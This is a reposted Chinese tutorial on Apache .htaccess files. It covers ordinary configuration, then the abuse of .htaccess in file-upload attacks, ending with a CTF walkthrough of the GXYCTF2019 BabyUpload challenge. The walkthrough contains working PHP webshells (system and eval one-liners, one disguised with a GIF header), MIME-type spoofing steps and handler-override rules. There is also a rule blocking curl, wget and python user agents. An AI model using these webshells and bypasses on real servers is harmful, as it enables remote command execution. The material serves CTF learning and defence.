.htaccess文件的組成、用法及作用詳解

.htaccess(Hypertext Access)是 Apache 服務器的一個分布式配置文件,可以覆蓋主配置文件的設置,無需重啟服務器即可生效(需要管理員級別權限修改的httpd.conf文件修改后需要重啟Apach服務器)它主要用于目錄級的配置,是 Web 安全URL 重寫服務器優化的重要工具。

1、.htaccess 文件的基本組成

.htaccess 文件是一個純文本文件,通常包含以下類型的指令:

?常用指令類型

指令類型示例作用
認證與授權AuthType Basic密碼保護目錄
URL 重寫RewriteRule ^old.html$ new.html [R=301]重定向或美化 URL
錯誤頁面定制ErrorDocument 404 /404.html自定義 404 頁面
禁止訪問Deny from all阻止特定 IP 或用戶代理訪問
MIME 類型設置AddType application/x-httpd-php .php定義文件類型處理方式
緩存控制ExpiresActive On設置瀏覽器緩存策略
PHP 配置覆蓋php_value upload_max_filesize 20M修改 PHP 運行參數(如上傳限制)

2、.htaccess 的核心作用

1. URL 重寫(SEO 友好 & 隱藏真實路徑)

RewriteEngine On
RewriteRule ^article/([0-9]+)/?$ article.php?id=$1 [L]
  • 用戶訪問 /article/123/ → 實際執行 article.php?id=123

  • 常用于 WordPress、Laravel 等框架

2. 訪問控制(安全防護)

# 禁止訪問特定文件
<Files "config.ini">Deny from all
</Files># 屏蔽惡意 User-Agent
RewriteCond %{HTTP_USER_AGENT} (wget|curl|python) [NC]
RewriteRule .* - [F]

3. 自定義錯誤頁面

ErrorDocument 404 /errors/404.html
ErrorDocument 500 /errors/500.html
  • 提升用戶體驗,避免暴露服務器信息。(了解一下即可)

4. 防止目錄遍歷

Options -Indexes
  • 禁止直接列出目錄內容(防止敏感文件泄露)。

5. 強制 HTTPS(安全跳轉)

RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

6. 禁止 PHP 執行(安全防護)

<FilesMatch "\.(php|inc)$">Deny from all
</FilesMatch>
  • 常用于上傳目錄(如 /uploads/),防止上傳 Webshell 被執行。

3、典型應用場景

1. WordPress 的 .htaccess

# BEGIN WordPress
<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^index\.php$ - [L]RewriteCond %{REQUEST_FILENAME} !-fRewriteCond %{REQUEST_FILENAME} !-dRewriteRule . /index.php [L]
</IfModule>
# END WordPress

  • 實現“固定鏈接”(Pretty Permalinks)功能。

2. 防止圖片盜鏈

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^https://(www\.)?yourdomain.com [NC]
RewriteRule \.(jpg|png|gif)$ - [F]

  • 只允許本站引用圖片,外站訪問返回 403。

3. 限制 IP 訪問

Order Deny,Allow
Deny from all
Allow from 192.168.1.100

  • 僅允許特定 IP 訪問目錄。


4、注意事項

  1. 性能影響

    每個請求都會讀取 .htaccess,高流量站點建議改用主配置文件(httpd.conf)。
  2. 語法嚴格

    錯誤的規則可能導致 500 錯誤,測試時建議備份原文件。
  3. 優先級

    子目錄的 .htaccess 會覆蓋父目錄的設置。
  4. 安全風險

    錯誤的權限設置可能導致 .htaccess 被篡改(建議權限設為 644

5、如何測試 .htaccess 是否生效?

  1. 訪問目標 URL,觀察是否按規則跳轉。

  2. 使用 curl 檢查響應頭:

    curl -I http://example.com/test

6、.htaccess文件在文件上傳漏洞中的構造方法及作用詳解

.htaccess文件概述

.htaccessApache服務器的一個配置文件,它允許用戶針對特定目錄修改服務器的配置,而無需訪問主配置文件。在文件上傳漏洞利用中,攻擊者常利用.htaccess文件來實現惡意目的。

<1>.htaccess在文件上傳漏洞中的作用

  1. 文件執行控制:通過修改文件解析規則使原本不可執行的文件(如圖片)能夠作為PHP等腳本執行

  2. 繞過限制繞過服務器的文件類型檢查安全限制

  3. 持久化訪問:為后續攻擊提供持久化的后門訪問

<2>常見的.htaccess構造方法

1. 修改文件解析規則

apache

AddType application/x-httpd-php .jpg .png .gif

作用:使服務器將.jpg、.png、.gif等圖片文件當作PHP腳本解析執行

(比如當題目限制只能上傳圖片文件而沒有對.htaccess文件過濾時,就可以使用這種方法進行繞過)

2. 設置PHP執行標志

apache

<FilesMatch "\.(jpg|png|gif)$">SetHandler application/x-httpd-php
</FilesMatch>

作用:匹配特定擴展名的文件,強制使用PHP處理器處理

這個暫時還沒弄明白怎么運用

3. 自定義錯誤處理程序

apache

ErrorDocument 404 /uploads/malicious.php

作用:將404錯誤重定向惡意腳本,實現隱蔽訪問

4. 啟用PHP配置選項

apache

php_value auto_prepend_file "malicious.jpg"
php_value auto_append_file "malicious.jpg"

作用:在每個PHP文件執行前后自動包含惡意文件

5. 重寫URL規則

apache

RewriteEngine On
RewriteRule ^(.*)\.jpg$ malicious.php?file=$1

作用:將訪問.jpg文件的請求重定向惡意PHP腳本

總結來說就是:

假設攻擊者上傳了一個包含以下內容的.htaccess文件:

apache

AddType application/x-httpd-php .abc

然后上傳一個名為"shell.abc"的文件,內容為:

php

<?php system($_GET['cmd']); ?>

這樣,訪問"shell.abc?cmd=id"就會執行系統命令。

例題
【nssctf】 GXYCTF2019 BabyUpload

開啟題目后隨便上傳一個木馬.txt文件,提示太露骨了

同樣的png文件也提示露骨

然后我上傳了一個muma.jpg圖片,提示如下

由此可知,后端檢測出上傳的jpg文件中含有php代碼(即后綴檢測,內容也檢測)

而對內容檢測八成就是對php標簽內容檢測

所以需要將jpg中的php代碼修改為Javascript的形式,如下:

GIF89a
<script language='php'>@eval($_POST["a"]);</script>

?(這串代碼簡潔明了的解釋就是 結合GIF圖像格式和PHP代碼,用于繞過文件上傳限制并執行惡意代碼)

這里我詳細記錄一下這串代碼的作用吧:

  • GIF89a是GIF圖像文件的文件頭標識。它表示這是一個GIF格式的圖像文件。

  • GIF文件的文件頭通常是GIF89aGIF87a,用于標識文件類型版本(這一步是為上傳成功作準備的)

  • <script language='php'>

    • 這是一個HTML <script> 標簽,通常用于嵌入腳本代碼

    • 在這里,language='php'屬性指定腳本語言為PHP。

  • @eval($_POST["a"]);

    • @eval 是PHP的一個函數,用于執行字符串中的PHP代碼

    • $_POST["a"] 是一個超全局變量,表示通過POST方法遞的a

    • @符號用于抑制錯誤信息,即使eval函數執行失敗,也不會顯示任何錯誤信息

(這一大坨都是為了后面.htaccess文件解析它作準備)

接下來上傳文件后頁面回顯路徑

說明上傳成功,既然能上傳,接下來只需要解決能否解析.jpg文件中的php代碼就可以了

而想要解析.jpg文件中的php代碼,就可以使用.htaccess文件來進行實現

接著來看步驟:
創建一個.htaccess文件,用記事本打開,寫入以下內容:

AddType application/x-httpd-php .jpg .txt .png

?這條命令可以讓Apach服務器在遇到.jpg .txt .png 文件時按照php文件來解析(即解析其中的php代碼)

下一步? .htaccess文件配合 .jpg 文件上傳

上傳.htaccess 文件,響應頁面如下

沒錯,露骨就需要抓包一下MIME類型了(Content-type

選擇.htaccess文件后,抓包然后上傳

點擊上傳

修改MIME類型允許的image/jpeg

?修改后放行,出現響應界面

頁面提示.htaccess文件上傳成功

這樣的話就可以上傳待解析的jpg文件

直接上傳

可以看到此刻jpg文件也上傳成功

既然路徑也有了,接下來只需要拼接url訪問即可

拼接訪問

發現偽裝的jpg文件頭已顯示,說明圖片(php代碼)解析成功

可以通過POST傳參傳入php語句看其是否能執行

F12鍵打開hackbar,利用一句話木馬傳入的參數執行php語句

(別搞錯,上傳的木馬參數不一樣這里就不一樣。我的是a)

執行

php語句可執行, 接下來就可以連接蟻劍

打開蟻劍添加數據,填入拼接好的url,傳入的參數即為連接密碼(我的是a)

點擊測試連接

連接成功后點擊添加 。最后打開目錄搜尋flag即可


總的來說

.htaccess 是 Apache 服務器的強大工具,可用于:
URL 重寫(SEO 優化)
訪問控制(IP/User-Agent 過濾)
安全防護(禁止目錄遍歷、防 PHP 執行)
自定義錯誤頁(提升用戶體驗)

而在文件上傳漏洞中,.htaccess文件在文件上傳漏洞中常被用作"橋梁",通過修改服務器配置來繞過安全限制。

合理使用能大幅增強網站安全性和靈活性,但需注意性能影響和語法正確性,否則出現“文件因錯誤而無法顯示”就是常態了

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/900859.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/900859.shtml
英文地址,請注明出處:http://en.pswp.cn/news/900859.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

10A 大電流 DCDC 降流芯片 WD5030

10A 大電流 DCDC 降壓芯片 WD5030 在電子設備的電源管理領域&#xff0c;高效穩定的 DCDC 芯片至關重要。今天我們來深入探討一款性能卓越的 10A 大電流 DCDC 降流芯片 ——WD5030。它在眾多電子應用場景中展現出了強大的優勢&#xff0c;為各類設備的穩定供電提供了可靠保障。…

HCIP【路由過濾技術(詳解)】

目錄 1 簡介 2 路由過濾方法 3 路由過濾工具 3.1 靜默接口 3.2 ACL 3.3 地址前綴列表 3.4 filter-policy 3.4.1 filter-policy過濾接收路由&#xff08;以RIP為例&#xff09; 3.4.2 filter-policy過濾接收路由&#xff08;以OSPF為例&#xff09; 1 簡介 路由過濾技術…

Cursor Agent 模式實現復雜工作流的編排與執行

引言 在 Dify Workflows MCP Server (TypeScript)設計與實戰 文章中提到過通過 MCP 調用編排好的 Dify 工作流,那在 Cursor 中是否可以 自行實現 對應的工作流編排效果,這樣可以充分的利用 Cursor 中的代碼上下文,從而保證生成的代碼可以更符合項目的需求,進一步降低手工…

ShopXO v2.2.4開源商城手動部署(保姆級)+異常處理

ShopXO v2.2.4開源商城手動部署(保姆級) 1.項目了解 1.1項目簡潔 ShopXO國內領先企業級免費開源電商系統&#xff01; 求實進取、創新專注、自主研發、國內領先企業級電商系統解決方案。遵循MIT開源協議發布&#xff0c;無需授權、可商用、可二次開發、滿足99%的電商運營需…

藍橋杯 分解質因數(唯一分解定理)

分解質因數 題目描述 給定一個區間 [a,b][a,b]&#xff0c;請你求出區間 [a,b][a,b] 中所有整數的質因數分解。 輸入描述 輸入共一行&#xff0c;包含兩個整數 a,ba,b。 2≤a≤b≤1032≤a≤b≤103。 輸出描述 每行輸出一個數的分解&#xff0c;形如 ka1a2a3?(a1≤a2≤a…

【C++算法】53.鏈表_重排鏈表

文章目錄 題目鏈接&#xff1a;題目描述&#xff1a;解法C 算法代碼&#xff1a; 題目鏈接&#xff1a; 143. 重排鏈表 題目描述&#xff1a; 解法 模擬 找到鏈表的中間節點 快慢雙指針 把后面的部分逆序 雙指針&#xff0c;三指針&#xff0c;頭插法 合并兩個鏈表 合并兩個有…

【Java設計模式】第7章 建造者模式講解

7-1 建造者模式講解 1. 定義與類型 定義: 將復雜對象的構建與表示分離,使相同構建過程可創建不同表示。類型: 創建型模式。通俗解釋: 分步構建含多組件的對象,流程固定但順序靈活(如做菜時放鹽順序可變)。2. 適用場景 對象內部結構復雜(多屬性或多步驟)。需將對象創建與…

本地laravel項目【dcat-admin】部署到liunx服務器

文章目錄 前言一、部署流程1、數據庫搬遷2、寶塔創建網站&#xff0c;配置php3、修改nginx配置4、在public目錄設置軟連接5、修改env配置、刷新緩存 二、其他問題1.后臺登陸失敗問題2.完美解決接口跨域問題 總結 前言 laravel新手記錄 差不多一個月&#xff0c;總算用laravel…

醫院導航系統方案:多模態三維導航引擎賦能醫院智慧升級(二)

本文面向智慧醫院建設方與算法研發工程師&#xff0c;聚焦解決多樓層復雜場景下的精準導航難題&#xff0c;提供從數學建模到工程落地的技術實戰方案。 如需獲取智慧醫院導航導診系統解決方案請前往文章最下方獲取&#xff0c;如有項目合作及技術交流歡迎私信作者。 一、技術聚…

NO.84十六屆藍橋杯備戰|動態規劃-路徑類DP|矩陣的最小路徑和|迷霧森林|過河卒|方格取數(C++)

路徑類dp是線性dp的?種&#xff0c;它是在?個nm的矩陣中設置?個??規則&#xff0c;研究從起點?到終點的?案數、最?路徑和或者最?路徑和等等的問題 矩陣的最小路徑和_牛客題霸_牛客網 狀態表?&#xff1a; dp[i][j]表?&#xff1a;到達[i, j]位置處&#xff0c;最?…

openlayers入門01 -- 環境配置和初始化地圖

openlayers入門 openlayers開發環境配置 1.下載VSCode 官網地址&#xff1a;https://code.visualstudio.com/ 點擊Download for Windows 2.安裝漢化插件和openlayers插件 搜索chinese&#xff0c;下載Chinese (Simplified) (簡體中文) Language Pack 更改語言并重啟 搜…

最新版DataGrip超詳細圖文安裝教程,帶補丁包(2025最新版保姆級教程)

目錄 前言 一、DataGrip最新版下載 二、DataGrip安裝 三、DataGrip補丁 四、運行DataGrip 前言 DataGrip 是由 JetBrains 公司開發的一款專業的跨平臺數據庫管理工具&#xff0c;主要用于連接、管理和操作多種主流關系型數據庫及部分 NoSQL 數據庫。它支持 MySQL、Postgre…

25年時代電服社招入職Verify測評SHL題庫語言理解數字推理考什么?

寧德時代語言理解 語言理解部分主要考察應聘者的語言表達和邏輯思維能力&#xff0c;題型包括閱讀理解、邏輯填空和語句排序。閱讀理解要求應聘者快速捕捉文章的主旨和細節信息&#xff0c;能夠迅速把握文章的核心觀點&#xff1b;邏輯填空需要在給定的語句中填入最合適的詞匯…

QML 彈窗控件:Popup的基本用法與樣式

目錄 引言相關閱讀Popup基本屬性工程結構示例實現Main.qml - 主界面SimplePopup.qml - 簡單彈窗ModalPopup.qml - 模態彈窗CustomPopup.qml - 自定義樣式彈窗AnimatedPopup.qml - 帶動畫的彈窗 總結工程下載 引言 在現代圖形用戶界面(GUI)開發中&#xff0c;彈窗(Popup)是一種…

SkyWalking + ELK 全鏈路監控系統整合指南

一、架構設計圖 二、核心組件部署 1. SkyWalking 集群部署 yaml: # docker-compose-skywalking.yml version: 3.8services:oap:image: apache/skywalking-oap-server:9.7.0ports:- "11800:11800" # gRPC- "12800:12800" # HTTPenvironment:SW_STORAGE: …

DP主站如何華麗變身Modbus TCP網關!

DP主站如何華麗變身Modbus TCP網關&#xff01; 在工業自動化領域&#xff0c;Profibus DP和Modbus TCP是兩種常用的通信協議。Profibus DP通常應用于制造業自動化場景&#xff0c;而Modbus TCP則廣泛使用于工業自動化和樓宇自動化等領域。為了實現這兩種協議之間的互聯互通&a…

AI | 字節跳動 AI 中文IDE編輯器 Trae 初體驗

Trae 簡介與安裝 &#x1f526; 什么是 Trae Trae 是大廠字節跳動出品的國內首個 AI IDE&#xff0c;深度理解中文開發場景。AI 高度集成于 IDE 環境之中&#xff0c;為你帶來比 AI 插件更加流暢、準確、優質的開發體驗。說是能夠不用寫代碼&#xff0c;全靠一張嘴跟 AI 聊天…

Web3 的云基礎設施正在成型,Polkadot 2.0 用三項技術改寫“上鏈成本”

在Web3基礎設施內卷加劇的今天&#xff0c;“如何以更低成本、更大靈活性部署一條高性能應用鏈”正成為開發者們最關心的問題。而剛剛走出“技術慢熱”誤區的Polkadot&#xff0c;正在用一套名為 Polkadot 2.0 的架構升級方案&#xff0c;重新定義這一問題的解法。 這套升級最…

【Linux】39.一個基礎的HTTP Web服務器

文章目錄 1. 實現一個基礎的HTTP Web服務器1.1 功能實現&#xff1a;1.2 Log.hpp-日志記錄器1.3 HttpServer.hpp-網頁服務器1.4 Socket.hpp-網絡通信器1.5 HttpServer.cc-服務器啟動器 1. 實現一個基礎的HTTP Web服務器 1.1 功能實現&#xff1a; 總體功能&#xff1a; 提供We…

沐渥科技詳解氮氣柜操作指南

氮氣柜是一種通過持續注入高純度氮氣&#xff0c;維持柜內惰性氣體環境的設備&#xff0c;用于存儲半導體晶圓或其他敏感元件&#xff0c;防止氧化、吸濕和污染。氮氣柜操作指南是怎樣的&#xff1f;下面沐渥小編給大家介紹一下。 一、操作前準備 &#xff08;1&#xff09;安全…